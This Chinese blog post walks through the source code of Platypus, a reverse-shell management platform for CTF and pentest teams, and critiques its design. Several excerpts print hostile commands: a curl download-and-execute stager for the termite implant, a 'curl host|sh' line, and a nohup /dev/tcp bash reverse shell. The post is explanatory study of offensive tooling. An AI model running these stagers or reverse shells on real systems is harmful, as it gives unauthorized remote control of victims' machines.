Platypus 源码分析:如何设计一个 shell 管理平台
前言:为什么需要一个 shell 管理平台
近几年的 CTF 竞赛,pentest 赛制逐渐常见了。渗透测试工作的团队协作中,我们经常面临 shell 管理的问题:
- Alice 反弹了一个 shell,想把这个 shell 给 Bob 用
- 靶机上没有 curl 等工具,传文件比较麻烦
- 有些 shell 不稳定,挂了要重新弹
这里很多事情可以用 metasploit 框架解决:先弹一个朴素的 shell 到 linux/x86/shell/reverse_tcp
,然后再使用 post/multi/manage/shell_to_meterpreter
将之升级为「全功能」的 meterpreter shell。接下来便可以使用 meterpreter 的文件上传、自动路由等功能了。
然而,metasploit 并不能解决全部问题。首先,它缺乏团队协作功能,如果队友需要一个 shell,我们只能去靶机上弹一个新的 shell 给队友;另外,线下竞赛,不一定每个队员都有 pentest 经验,因此不能指望人人都会 metasploit。我们需要一个简便的工具,把自己的 shell 分享给队友们。
总结一下我们的需求:
- 我们需要比较稳定的 shell 连接。现实世界中,第一个 nc shell 常常是不稳定的。譬如,一个 web 应用有命令注入漏洞,我们用 nc 反弹一个 shell 出来,60 秒钟之后,它可能就因为超时被服务器自动关闭了。
- 我们需要一些高级功能。这些功能包括:在靶机没有 wget、curl 时,也能便捷地上传文件;提供一个 socks5 代理,使我们能访问那个靶机所在的网段;把靶机所在的内网的某个端口转发出来,例如把内网办公机的 3389 端口转发到服务器的 13389 端口。
- 我们需要与队友分享 shell。这是设计 shell 管理平台的核心动机。最理想情况下,队友可以在 web 界面中打开一个新的 shell,并如同终端一样使用。
- 只考虑 Linux x64 靶机,靶机可能是虚拟机或 Docker 容器。最坏情况下,靶机是 alpine 容器,弹回的 shell 不是 bash 而是 dash。另外,内网中的靶机可能无法直接连接 shell 管理平台服务器。
初步思考
作为思维训练,我们先抛开那些开源的 shell 管理器,设想一下这个系统该如何设计。
第一个 shell 一定是通过 nc 弹出来的。它就是一个简单的 bash,我们可以向那个 TCP 连接中输入一些东西,它会交给 bash 执行,并把 stdout 和 stderr 返回给我们。这个连接是不稳定的,随时可能断掉。
/dev/tcp
、用 Python 等。为行文方便,以下把这些简单 shell 统称为 nc shell。我们能不能与队友分享这样的 shell?理论上可以,因为我们可以在这个 shell 里面输入指令,再弹几个 shell 供队友使用。这个 shell 本身是不稳定的,那没关系,我们只需要让新弹的 shell 成为孤儿进程。
虽然这样的 shell 也可以拿去分享给队友,但我们该如何在它上面实现各种高级功能呢?对面只是个 dash,我们连高效地发送文件都很难做到,更不用说端口转发等功能了。因此,我们需要一个「全功能」的 shell。也就是说,如同 metasploit 一样,先利用简单的 nc shell 上传 meterpreter payload,再执行这个 payload,获得 meterpreter shell。
因此,我们就有了初步的设计思路:nc shell 只作为一个 stager 使用,它的任务就是在靶机上启动高级 shell。至于端口转发等功能,就由高级 shell 来实现。
现在来讨论如何分享 shell。我们的目标是,队友们能在平台上启动许多「在线终端」,用浏览器与之交互,而这些终端互相独立。一个很直观的思路是:每当用户想创建一个在线终端,高级 shell 就启动一个 bash 进程,并把用户输入转发给这个 bash 进程、将其输出转发给用户。结构如图所示:
这个模型大致是可行的,技术上有几个重点:
- 终端的管理。需要把 IO 数据分流到正确的终端,且要妥善处理终端退出、用户退出的情况。
- shell 管理服务器与高级 shell 的通讯。这条信道应当能承载控制指令(例如「打开新的终端」)和用户数据(队员与 bash 的通讯)。
现在,我们已经可以分享 shell 了,那么高级功能该如何实现?最核心的问题在于,这些功能是应该集成进高级 shell 内部,还是作为独立的插件程序运行。我们应当注意到,渗透测试的环境是十分复杂的,在设计平台时,我们很难帮用户考虑到所有场景。从扩展性角度来说,最好每个高级功能都是可插拔的。例如,假设我们想搭建代理服务,那就上传一个 glider 上去;假如想转发端口,就运行一个 frp。这些过程可以自动化完成,用户只需点一下按钮即可,剩余的事务(上传程序、配置、启动)由高级 shell 代劳。这样,我们无需往高级 shell 中添加太多代码,只需要为每个高级功能写一个适配器。
以上,我们设计了一个 shell 管理平台。假如现在有闲情逸致去实现这个框架,可以预料到最消耗精力的几个部分会是:
- 通讯协议设计和实现。高级 shell 与服务器之间的通讯非常频繁,需要设计一个加密的、高吞吐率的协议,以支持指令和用户数据的传输。
- stager。假定靶机上面没有 curl 和 wget,我们应该如何下载高级 shell 程序?有几种方案可以考虑:利用
/dev/tcp
下载;多次执行echo xxxx >> /tmp/payload
来拼接程序文件;先传输一个非常小的下载器,再由下载器来下载程序。这些方案各有优劣。 - 高级 shell 程序的功能。尽管我们把端口转发、代理等任务尽可能地解耦了,但它们都需要上传大文件,所以我们应当在高级 shell 中实现大文件上传功能。此外,高级 shell 要负责管理自己的终端,维护它们的状态信息;如果高级 shell 与服务器之间的连接断开,应当自动重连。
Platypus 项目
我们外出比赛时,主要使用 Platypus 平台来分享 shell。项目地址:
笔者本周学习了 Golang,所以接下来阅读一遍 Platypus 源码,学习学习。
Platypus 提供的高级功能有上传下载、交互式终端(可以使用 vim)、端口转发等。它提供了命令行模式和 web ui,其中高级功能只能在命令行中使用。整个项目的 Golang 代码大约 8322 行,结构如下:
Platypus 有 nc shell 和高级 shell,后者被命名为「termite」。
平台启动流程
当我们运行 ./Platypus
时,执行的是 cmd/platypus/main.go
中的代码。主要内容如下:
func main() {
// ...
// 获取配置文件
var config config.Config
content, _ := ioutil.ReadFile(configFilename)
err := yaml.Unmarshal(content, &config)
if err != nil {
log.Error("Read config file failed, please check syntax of file `%s`, or just delete the `%s` to force regenerate config file", configFilename, configFilename)
return
}
// 创建数据库
if !fs.FileExists(config.RESTful.DBFile) {
Models.CreateDb(config.RESTful.DBFile)
} else {
Models.OpenDb(config.RESTful.DBFile)
}
Conf.RestfulConf = config.RESTful
log.Success("Platypus %s is starting...", update.Version)
// Create context
context.CreateContext()
context.Ctx.Config = &config
// 检查更新
if config.Update {
update.ConfirmAndSelfUpdate()
}
// 启动 distributor server(很简单的服务器,返回 termite 二进制程序)
rh := config.Distributor.Host
rp := config.Distributor.Port
distributor := context.CreateDistributorServer(rh, rp, config.Distributor.Url)
go distributor.Run(fmt.Sprintf("%s:%d", rh, rp))
// 启动 HTTP 服务
if config.RESTful.Enable {
rh := config.RESTful.Host
rp := config.RESTful.Port
rest := context.CreateRESTfulAPIServer()
go rest.Run(fmt.Sprintf("%s:%d", rh, rp))
log.Success("Web FrontEnd started at: http://%s:%d/", rh, rp)
log.Success("You can use Web FrontEnd to manager all your clients with any web browser.")
log.Success("RESTful API EndPoint at: http://%s:%d/api/", rh, rp)
log.Success("You can use PythonSDK to manager all your clients automatically.")
context.Ctx.RESTful = rest
}
// 监听 TCP
for _, s := range config.Servers {
server := context.CreateTCPServer(s.Host, uint16(s.Port), s.HashFormat, s.Encrypted, s.DisableHistory, s.PublicIP, s.ShellPath)
if server != nil {
// avoid terminal being disrupted
time.Sleep(0x100 * time.Millisecond)
go (*server).Run()
}
}
if config.OpenBrowser {
browser.OpenURL(fmt.Sprintf("http://%s:%d/", config.RESTful.Host, config.RESTful.Port))
}
// 进入命令行
dispatcher.REPL()
}
可见一共干了四件事:
- 读取配置文件
- 启动 distributor server
- 启动 Web UI 和 API
- 启动 TCP 监听器
先来看 distributor server。这是一个简单的 gin 服务:
type Distributor struct {
Host string `json:"host"`
Port uint16 `json:"port"`
Interfaces []string `json:"interfaces"`
Route map[string]string `json:"route"`
Url string `json:"url"`
}
func CreateDistributorServer(host string, port uint16, url string) *gin.Engine {
gin.SetMode(gin.ReleaseMode)
gin.DefaultWriter = ioutil.Discard
endpoint := gin.Default()
// 把 distributor 记录进 context
Ctx.Distributor = &Distributor{
Host: host, // 默认 0.0.0.0
Port: port, // 默认 13339
Interfaces: network.GatherInterfacesList(host),
Route: map[string]string{},
Url: url,
}
endpoint.GET("/termite/:target", func(c *gin.Context) {
if !paramsExistOrAbort(c, []string{"target"}) {
return
}
target := c.Param("target")
if target == "" {
log.Error("Invalid connect back addr: %v", target)
panicRESTfully(c, "Invalid connect back addr")
return
}
// 创建临时目录
dir, filename, err := compiler.GenerateDirFilename()
if err != nil {
log.Error(fmt.Sprint(err))
panicRESTfully(c, err.Error())
return
}
defer os.RemoveAll(dir)
// 生成 termite 可执行程序,回连地址为 target
err = compiler.BuildTermiteFromPrebuildAssets(filename, target)
if err != nil {
log.Error(fmt.Sprint(err))
panicRESTfully(c, err.Error())
return
}
// 用 upx 压缩编译产物
if !compiler.Compress(filename) {
log.Error("Can not compress termite.go")
}
c.File(filename)
})
return endpoint
}
为何这里需要现场构造 termite 程序?看一眼 BuildTermiteFromPrebuildAssets
代码:
func BuildTermiteFromPrebuildAssets(targetFilename string, targetAddress string) error {
// Step 1: Generating Termite from Assets
assetFilepath := "build/termite/termite_linux_amd64"
content, err := assets.Asset(assetFilepath)
if err != nil {
log.Error("Failed to read asset file: %s", assetFilepath)
return err
}
// Step 2: Generating the placeholder
placeHolder := "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xxxxx"
replacement := make([]byte, len(placeHolder))
for i := 0; i < len(placeHolder); i++ {
replacement[i] = 0x20
}
for i := 0; i < len(targetAddress); i++ {
replacement[i] = targetAddress[i]
}
// Step 3: Replacing the placeholder
log.Success("Replacing `%s` to: `%s`", placeHolder, replacement)
content = bytes.Replace(content, []byte(placeHolder), replacement, 1)
// Step 4: Create binary file
err = ioutil.WriteFile(targetFilename, content, 0755)
if err != nil {
log.Error("Failed to write file: %s", targetFilename)
return err
}
return nil
}
原来,服务器的地址被硬编码进了 termite 程序。Platypus 自带了一个预先编译的 termite 程序,里面的服务器地址字段是一长串 x
;distributor 会把原料里的这些 x
替换成正确的地址,形成正确的 termite 可执行文件。
xxxxxx
字符串也会原样出现在编译结果中」。应该存在更好的实现,例如用 argv 提供回连地址,或把回连地址写进
/tmp
中。接下来,关注 Web 平台相关的逻辑。
API 服务
Platypus Web 是前后端分离的,用户界面采用 react 编写,在线终端则采用了开源的 ttyd;后端采用 gin。我们对前端没兴趣,直接来看 API。
CreateRESTfulAPIServer
函数非常长,我们分段看:
gin.SetMode(gin.ReleaseMode)
gin.DefaultWriter = ioutil.Discard
endpoint := gin.Default()
endpoint.Use(cors.New(cors.Config{
AllowOrigins: []string{"*"},
AllowMethods: []string{"GET", "POST", "DELETE", "PUT", "PATCH"},
AllowHeaders: []string{"Origin"},
ExposeHeaders: []string{"Content-Length"},
AllowCredentials: true,
MaxAge: 12 * time.Hour,
}))
sR := endpoint.Use(Models.Session("golang-tech-stack"))
sR.GET("/captcha", Controller.CreateCaptcha)
sR.GET("/login", Controller.LoginGet)
sR.POST("/login", Controller.LoginPost)
sR.GET("/register", Controller.RegisterGet)
sR.POST("/register", Controller.RegisterPost)
endpoint.GET("/reset", Controller.ResetPasswordGet)
endpoint.POST("/reset", Controller.ResetPasswordPost)
// Static files
endpoint.Use(static.Serve("/", fs.BinaryFileSystem("./web/frontend/build")))
// WebSocket TTYd
endpoint.Use(static.Serve("/shell/", fs.BinaryFileSystem("./web/ttyd/dist")))
这一段是注册了几个 handler,主要用于用户登录。
// Notify client online event
notifyWebSocket := melody.New()
endpoint.GET("/notify", func(c *gin.Context) {
notifyWebSocket.HandleRequest(c.Writer, c.Request)
})
notifyWebSocket.HandleConnect(func(s *melody.Session) {
log.Info("Notify client conencted from: %s", s.Request.RemoteAddr)
})
notifyWebSocket.HandleMessage(func(s *melody.Session, msg []byte) {
// Nothing to do
})
notifyWebSocket.HandleDisconnect(func(s *melody.Session) {
log.Info("Notify client disconencted from: %s", s.Request.RemoteAddr)
})
Ctx.NotifyWebSocket = notifyWebSocket
这段是用 websocket 向用户提供「主机已上线」「主机已下线」通知。
// Websocket
ttyWebSocket := melody.New()
ttyWebSocket.Upgrader.Subprotocols = []string{"tty"}
endpoint.GET("/ws/:hash", func(c *gin.Context) {
if !paramsExistOrAbort(c, []string{"hash"}) {
return
}
client := Ctx.FindTCPClientByHash(c.Param("hash"))
termiteClient := Ctx.FindTermiteClientByHash(c.Param("hash"))
if client == nil && termiteClient == nil {
panicRESTfully(c, "client is not found")
return
}
if client != nil {
log.Success("Trying to poping up websocket shell for: %s", client.OnelineDesc())
}
if termiteClient != nil {
log.Success("Trying to poping up encrypted websocket shell for: %s", termiteClient.OnelineDesc())
}
ttyWebSocket.HandleRequest(c.Writer, c.Request)
})
这里是从 gin 那里截获 /ws/:hash
请求,发给 melody 处理。这个接口是虚拟终端相关的。从上面的代码可以发现,尽管 nc shell 和 termite 有许多不同,它们的 websocket 入口都是一样的。那就得在以后的逻辑中区分了。
这个 websocket 在 melody 那里的 connect
处理逻辑如下:
ttyWebSocket.HandleConnect(func(s *melody.Session) {
// Get client hash
hash := strings.Split(s.Request.URL.Path, "/")[2]
// Handle TCPClient
current := Ctx.FindTCPClientByHash(hash)
if current != nil {
s.Set("client", current)
// current 是 nc shell
// 加锁,只允许一个队员访问 nc shell 在线终端
current.GetInteractingLock().Lock()
current.SetInteractive(true)
// Incase somebody is interacting via cli
current.EstablishPTY()
// 往在线终端里面写一点怪东西
// SET_WINDOW_TITLE '1'
s.WriteBinary([]byte("1" + current.GetShellPath() + " (ubuntu)"))
// SET_PREFERENCES '2'
s.WriteBinary([]byte("2" + "{ }"))
// OUTPUT '0'
// 往 nc shell 里面写个「\n」
current.Write([]byte("\n"))
go func(s *melody.Session) {
for current != nil && !s.IsClosed() {
// 循环:从 nc shell 那里读取,把结果显示到在线终端
current.GetConn().SetReadDeadline(time.Time{})
msg := make([]byte, 0x100)
n, err := current.ReadConnLock(msg)
if err != nil {
log.Error("Read from socket failed: %s", err)
return
}
s.WriteBinary([]byte("0" + string(msg[0:n])))
}
}(s)
return
}
// Handle TermiteClient
currentTermite := Ctx.FindTermiteClientByHash(hash)
if currentTermite != nil {
// currentTermite 是 termite shell
log.Info("Encrypted websocket connected: %s", currentTermite.OnelineDesc())
// Start shell process
s.Set("termiteClient", currentTermite)
// SET_WINDOW_TITLE '1'
s.WriteBinary([]byte("1" + currentTermite.GetShellPath() + " (ubuntu)"))
// SET_PREFERENCES '2'
s.WriteBinary([]byte("2" + "{ }"))
// OUTPUT '0'
// termite shell 是可以分享的,用 key 作为此在线终端的标识符
key := str.RandomString(0x10)
s.Set("key", key)
// 要求 termite 建立一个新进程
currentTermite.RequestStartProcess(currentTermite.GetShellPath(), 0, 0, key)
// Create Process Object
process := Process{
Pid: -2,
WindowColumns: 0,
WindowRows: 0,
State: startRequested,
WebSocket: s,
}
currentTermite.AddProcess(key, &process)
return
}
})
可以看到,nc shell 和 termite 实例的标识符都是 hash
。由于 nc shell 不可分享,故同一时刻只能有一条 websocket 占有 nc shell。至于 termite,它是可以分享的,在 websocket 建立时,服务端会要求 termite 新建一个进程运行 shell,用于给这个 websocket 提供服务,标识符是随机生成的 key
。
上面的代码就是在线终端 websocket 的创建过程。而 shell 到浏览器方向的数据,在上面的代码中启动了 goroutine 来转发。接下来,关注浏览器到 shell 方向的数据:
// User input from websocket -> process
ttyWebSocket.HandleMessageBinary(func(s *melody.Session, msg []byte) {
// Handle TCPClient
value, exists := s.Get("client")
if exists {
// 这是 nc shell
current := value.(*TCPClient)
if current.GetInteractive() {
opcode := msg[0]
body := msg[1:]
switch opcode {
case '0': // INPUT '0'
// 往 shell 那边写数据
current.Write(body)
case '1': // RESIZE_TERMINAL '1'
// Raw reverse shell does not support resize terminal size when
// in interactive foreground program, eg: vim
// var ws WindowSize
// json.Unmarshal(body, &ws)
// current.SetWindowSize(&ws)
case '2': // PAUSE '2'
// TODO: Pause, support for zmodem
case '3': // RESUME '3'
// TODO: Pause, support for zmodem
case '{': // JSON_DATA '{'
// Raw reverse shell does not support resize terminal size when
// in interactive foreground program, eg: vim
// var ws WindowSize
// json.Unmarshal([]byte("{"+string(body)), &ws)
// current.SetWindowSize(&ws)
default:
fmt.Println("Invalid message: ", string(msg))
}
}
return
}
// 总结:对于 nc shell,只提供数据转发功能
// 下面是 termite 相关
// Handle TermiteClient
if termiteValue, exists := s.Get("termiteClient"); exists {
currentTermite := termiteValue.(*TermiteClient)
if key, exists := s.Get("key"); exists {
opcode := msg[0]
body := msg[1:]
switch opcode {
case '0': // INPUT '0'
// 数据传输
err := currentTermite.Send(message.Message{
Type: message.STDIO,
Body: message.BodyStdio{
Key: key.(string),
Data: body,
},
})
if err != nil {
// Network
log.Error("Network error: %s", err)
return
}
case '1': // RESIZE_TERMINAL '1'
// 更改终端尺寸
var ws WindowSize
json.Unmarshal(body, &ws)
err := currentTermite.Send(message.Message{
Type: message.WINDOW_SIZE,
Body: message.BodyWindowSize{
Key: key.(string),
Columns: ws.Columns,
Rows: ws.Rows,
},
})
if err != nil {
// Network
log.Error("Network error: %s", err)
return
}
case '2': // PAUSE '2'
// TODO: Pause, support for zmodem
case '3': // RESUME '3'
// TODO: Pause, support for zmodem
case '{': // JSON_DATA '{'
// 似乎与 case 1 重复
var ws WindowSize
json.Unmarshal([]byte(msg), &ws)
err := currentTermite.Send(message.Message{
Type: message.WINDOW_SIZE,
Body: message.BodyWindowSize{
Key: key.(string),
Columns: ws.Columns,
Rows: ws.Rows,
},
})
if err != nil {
// Network
log.Error("Network error: %s", err)
return
}
default:
fmt.Println("Invalid message: ", string(msg))
}
} else {
log.Error("Process has not been started")
}
}
})
这里主要就是把浏览器送来的用户输入转发给 shell。其中,nc shell 只支持数据转发,termite 还能支持更改终端尺寸。它们都暂不支持 zmodem 协议。
websocket 断开的处理逻辑如下:
ttyWebSocket.HandleDisconnect(func(s *melody.Session) {
// Handle TCPClient
value, exists := s.Get("client")
if exists {
current := value.(*TCPClient)
log.Success("Closing websocket shell for: %s", current.OnelineDesc())
current.SetInteractive(false)
current.GetInteractingLock().Unlock()
return
}
// Handle TermiteClient
termiteValue, exists := s.Get("termiteClient")
if exists {
currentTermite := termiteValue.(*TermiteClient)
if key, exists := s.Get("key"); exists {
currentTermite.RequestTerminate(key.(string))
} else {
log.Error("No such key: %d", key)
return
}
}
})
websocket 断开时,nc shell 要释放锁;termite 要通知靶机销毁 shell 进程。以上,我们分析完了在线终端的连接、传输和断开。
/ws/:hash
这个 API 端点,故不得不在 websocket 的所有处理逻辑中对两类 shell 分类讨论。更好的设计:要么两者使用不同 API 入口,要么两者都实现
on_connect, on_browser_message, on_disconnect
这三个函数,melody 只管调用这三个函数,不关心内部。 CreateRESTfulAPIServer
代码的后半段是 restful API,主要是提供一些信息查询功能,无需关注。
以上就是 Platypus 与浏览器之间的通讯。接下来,我们关注 Platypus 与 shell 间的通讯,这包括两部分:TCP 监听器以及 termite。
TCP 监听器
在 platypus/main.go
的末尾,Platypus 会调用 context.CreateTCPServer()
启动配置文件中指定的 TCP 监听器。先看一眼默认配置文件:
servers:
- host: "0.0.0.0"
port: 13337
# Platypus is able to use several properties as unique identifier (primirary key) of a single client.
# All available properties are listed below:
# `%i` IP
# `%u` Username
# `%m` MAC address
# `%o` Operating System
# `%t` Income TimeStamp
hashFormat: "%i %u %m %o"
encrypted: true
disable_history: true
public_ip: ""
shell_path: "/bin/bash"
- host: "0.0.0.0"
port: 13338
# Using TimeStamp allows us to track all connections from the same IP / Username / OS and MAC.
hashFormat: "%i %u %m %o %t"
disable_history: true
public_ip: ""
shell_path: "/bin/bash"
可以注意到,nc shell 与 termite 使用不同的 TCP 监听端口,配置文件中通过 encrypted
字段区分这两类监听器。下面来看 CreateTCPServer
代码:
func CreateTCPServer(host string, port uint16, hashFormat string, encrypted bool, disableHistory bool, PublicIP string, ShellPath string) *TCPServer {
service := fmt.Sprintf("%s:%d", host, port)
if _, ok := Ctx.Servers[hash.MD5(service)]; ok {
log.Error("The server (%s) already exists", service)
return nil
}
// Default hashFormat
if hashFormat == "" {
hashFormat = "%i %u %m %o %t"
}
// 创建 TCPServer 实例
tcpServer := &TCPServer{
Host: host,
Port: port,
GroupDispatch: true,
Clients: make(map[string](*TCPClient)),
TermiteClients: make(map[string](*TermiteClient)),
Interfaces: []string{},
TimeStamp: time.Now(),
hashFormat: hashFormat,
Hash: hash.MD5(fmt.Sprintf("%s:%d", host, port)),
stopped: make(chan struct{}, 1),
Encrypted: encrypted,
DisableHistory: disableHistory,
PublicIP: PublicIP,
ShellPath: ShellPath,
}
Ctx.Servers[hash.MD5(service)] = tcpServer
// Gather listening interfaces
tcpServer.Interfaces = network.GatherInterfacesList(tcpServer.Host)
// 如果是 termite 监听器,则对每个网卡生成不同的 routeKey
// Support for distributor for termite
if encrypted {
for _, ifaddr := range tcpServer.Interfaces {
routeKey := str.RandomString(0x08)
Ctx.Distributor.Route[fmt.Sprintf("%s:%d", ifaddr, port)] = routeKey
}
}
// 如果 IP 未指定,则自动获取
// Fetch real public IP address if not specified
if tcpServer.PublicIP == "" {
log.Info("Detecting Public IP address of the interface...")
ip, err := network.GetPublicIP()
if err != nil {
log.Error("Public IP Detection failed: %s", err.Error())
}
tcpServer.PublicIP = ip
Conf.RestfulConf.Domain = ip
log.Success("Public IP Detected: %s", tcpServer.PublicIP)
} else {
log.Info("Public IP (%s) is set in config file.", tcpServer.PublicIP)
}
// 如果未指定 ShellPath,则默认为 /bin/bash
// Use /bin/bash if no ShellPath was specified
if tcpServer.ShellPath == "" {
log.Info("No ShellPath was specified, using /bin/bash...")
tcpServer.ShellPath = "/bin/bash"
} else {
log.Info("ShellPath (%s) is set in config file.", tcpServer.ShellPath)
}
// Try to check
log.Info("Trying to create server on: %s", service)
tcpAddr, err := net.ResolveTCPAddr("tcp4", service)
if err != nil {
log.Error("Resolve TCP address failed: %s", err)
Ctx.DeleteServer(tcpServer)
return nil
}
// 尝试监听端口,观察是否可用,然后立即关闭
listener, err := net.ListenTCP("tcp", tcpAddr)
if err != nil {
log.Error("Listen failed: %s", err)
Ctx.DeleteServer(tcpServer)
return nil
} else {
listener.Close()
}
return tcpServer
}
上面的代码只是构造了 TCPServer 的结构,并没有开始干活。启动监听器的逻辑如下:
func (s *TCPServer) Run() {
service := fmt.Sprintf("%s:%d", s.Host, s.Port)
tcpAddr, err := net.ResolveTCPAddr("tcp4", service)
var listener net.Listener
if s.Encrypted {
// 对于 termite 监听器的处理
// 生成 TLS 密钥
certBuilder := new(strings.Builder)
keyBuilder := new(strings.Builder)
crypto.Generate(certBuilder, keyBuilder)
pemContent := []byte(fmt.Sprint(certBuilder))
keyContent := []byte(fmt.Sprint(keyBuilder))
cert, err := tls.X509KeyPair(pemContent, keyContent)
if err != nil {
log.Error("Encrypted server failed to loadkeys: %s", err)
Ctx.DeleteServer(s)
return
}
config := tls.Config{Certificates: []tls.Certificate{cert}}
config.Rand = rand.Reader
// 开始监听 TLS 端口
listener, _ = tls.Listen("tcp", service, &config)
} else {
// 对于普通的 TCP 反弹 shell,只需要直接监听 TCP 端口
listener, err = net.ListenTCP("tcp", tcpAddr)
}
if err != nil {
log.Error("Listen failed: %s", err)
Ctx.DeleteServer(s)
return
}
log.Info(fmt.Sprintf("Server running at: %s", s.FullDesc()))
// 对于 termite,在控制台打印跑在各个网卡上的 distrubutor 的 URL
if s.Encrypted {
for _, ifname := range s.Interfaces {
listenerHostPort := fmt.Sprintf("%s:%d", ifname, s.Port)
log.Warn("Connect back to: %s", listenerHostPort)
for _, ifaddr := range Ctx.Distributor.Interfaces {
distributorHostPort := fmt.Sprintf("%s:%d", ifaddr, Ctx.Distributor.Port)
filename := fmt.Sprintf("/tmp/.%s", str.RandomString(0x08))
command := "curl -fsSL http://" + distributorHostPort + "/termite/" + listenerHostPort + " -o " + filename + " && chmod +x " + filename + " && " + filename
log.Warn("\t`%s`", command)
}
}
} else {
for _, ifname := range s.Interfaces {
log.Warn("\t`curl http://%s:%d/|sh`", ifname, s.Port)
}
}
for {
select {
case <-s.stopped:
listener.Close()
return
default:
var err error
conn, err := listener.Accept()
if err != nil {
continue
}
go s.Handle(conn)
}
}
}
上面的逻辑就是监听 TCP 端口。如果是 termite,则使用 TLS 通讯;如果是 nc shell,则直接利用 TCP 通讯。
for
写得有问题。函数 listener.Accept()
是阻塞的,如果一直没有新的连接进来,那么就算 s.stopped
收到信号,这个 listener
也不会关闭。 TCP 监听器收到的连接,会交给 s.Handle()
处理。跟进:
func (s *TCPServer) Handle(conn net.Conn) {
if s.Encrypted {
// 新的 termite 连入
client := CreateTermiteClient(conn, s, s.DisableHistory)
// 收集靶机信息
log.Info("Gathering information from client...")
if client.GatherClientInfo(s.hashFormat) {
log.Info("A new encrypted termite (%s) income connection from %s", client.Version, client.conn.RemoteAddr())
s.AddTermiteClient(client)
} else {
log.Info("Failed to check encrypted income connection from %s", client.conn.RemoteAddr())
client.Close()
}
} else {
// 新的 nc shell 连入
client := CreateTCPClient(conn, s)
log.Info("A new income connection from %s", client.conn.RemoteAddr())
// Reverse shell as a service
buffer := make([]byte, 4)
client.conn.SetReadDeadline(time.Now().Add(time.Second * 3))
client.readLock.Lock()
n, err := client.conn.Read(buffer)
client.readLock.Unlock()
client.conn.SetReadDeadline(time.Time{})
if err != nil {
if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
log.Debug("Not requesting for service")
} else {
client.Close()
}
}
// 如果发来的前 4 个字节是 `GET `,则返回一段指令,执行该指令可以弹 shell
if string(buffer[:n]) == "GET " {
requestURI := client.ReadUntilClean(" ")
// Read HTTP Version
client.ReadUntilClean("\r\n")
httpHost := fmt.Sprintf("%s:%d", s.Host, s.Port)
for {
var line = client.ReadUntilClean("\r\n")
// End of headers
if line == "" {
log.Debug("All header read")
break
}
delimiter := ":"
index := strings.Index(line, delimiter)
headerKey := line[:index]
headerValue := strings.Trim(line[index+len(delimiter):], " ")
if headerKey == "Host" {
httpHost = headerValue
}
}
command := fmt.Sprintf("%s\n", raas.URI2Command(requestURI, httpHost))
client.Write([]byte("HTTP/1.0 200 OK\r\n"))
client.Write([]byte(fmt.Sprintf("Content-Length: %d\r\n", len(command))))
client.Write([]byte("\r\n"))
client.Write([]byte(command))
client.Close()
log.Info("A RaaS request from %s served", client.conn.RemoteAddr().String())
} else {
// 前 4 个字节不是 `GET `,则认为是弹来的 shell
s.AddTCPClient(client)
}
}
}
有必要解释一下上面代码对 nc shell 的处理。实际上,它把同一个端口复用了:如果客户端发来的前 4 字节是 "GET "
,则假装自己是 HTTP 服务器,返回一串指令,执行这串指令就可以弹 shell。例如:
那么,假如我们有了一台机器的权限,我们可以发送指令 curl xxx:13338|sh
,于是就会获取到下面的命令:
/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/xxx/13338 0>&1' >/dev/null &
也就是说,13338 端口既用来接受反弹 shell,也用来提供反弹命令。这个设计被文档称为「Reverse Shell as a Serivce」。
"GET "
,那么 Platypus 将无法接受这个 shell。 在这个 handler 中,对于 termite shell,先调用 GatherClientInfo()
,再调用 s.AddTermiteClient()
;对于 nc shell,调用 s.AddTCPClient()
。我们先看 nc shell 的相关逻辑:
func (s *TCPServer) AddTCPClient(client *TCPClient) {
client.GroupDispatch = s.GroupDispatch
client.GatherClientInfo(s.hashFormat)
if _, exists := s.Clients[client.Hash]; exists {
log.Error("Duplicated income connection detected!")
s.NotifyWebSocketDuplicateTCPClient(client)
client.Close()
} else {
log.Success("Fire in the hole: %s", client.OnelineDesc())
s.Clients[client.Hash] = client
s.NotifyWebSocketOnlineTCPClient(client)
}
}
对于 nc shell,就是把这个连接记录到 TCP 监听器的 Clients
里面。再看 termite shell 的相关代码,先是 GatherClientInfo
函数:
func (c *TermiteClient) GatherClientInfo(hashFormat string) bool {
log.Info("Gathering information from termite client...")
c.LockAtom()
defer c.UnlockAtom()
// 要求 termite 收集靶机信息
// Send gather info request
err := c.Send(message.Message{
Type: message.GET_CLIENT_INFO,
Body: message.BodyGetClientInfo{},
})
if err != nil {
// Network
log.Error("Network error: %s", err)
return false
}
// Read client response
msg := message.Message{}
c.Recv(&msg)
if err != nil {
log.Error("%s", err)
return false
}
// 收集到的信息包括 OS、用户、网络等
if msg.Type == message.CLIENT_INFO {
if msg.Body != nil {
clientInfo := msg.Body.(*message.BodyClientInfo)
c.Version = clientInfo.Version
log.Info("Client version: v%s", c.Version)
c.OS = oss.Parse(clientInfo.OS)
c.User = clientInfo.User
c.Python2 = clientInfo.Python2
c.Python3 = clientInfo.Python3
c.NetworkInterfaces = clientInfo.NetworkInterfaces
c.Hash = c.makeHash(hashFormat)
if semver.Compare(fmt.Sprintf("v%s", update.Version), fmt.Sprintf("v%s", c.Version)) > 0 {
// Termite needs up to date
c.Send(message.Message{
Type: message.UPDATE,
Body: message.BodyUpdate{
DistributorURL: Ctx.Distributor.Url,
Version: update.Version,
},
})
return false
}
// 保存到 sqlite3 数据库中
Models.CreateAccess(&Models.Access{
Host: c.Host,
Port: c.Port,
Hash: c.Hash,
TimeStamp: c.TimeStamp,
User: c.User,
OS: c.OS,
})
return true
} else {
log.Error("Client sent empty client info body: %v", msg)
return false
}
} else {
log.Error("Client sent unexpected message type: %v", msg)
return false
}
}
从上面的代码,我们可以看到,termite 通讯报文由 Type
和 Body
组成,这里报文的 Type
是 GET_CLIENT_INFO
。至于具体有哪些可用的 Type
,我们以后再讨论。
收集完信息之后,会调用 s.AddTermiteClient()
将其加入 TCP 监听器的 TermiteClients
列表。代码如下:
func (s *TCPServer) AddTermiteClient(client *TermiteClient) {
client.GroupDispatch = s.GroupDispatch
if _, exists := s.TermiteClients[client.Hash]; exists {
log.Error("Duplicated income connection detected!")
// Respond to termite client that the client is duplicated
err := client.Send(message.Message{
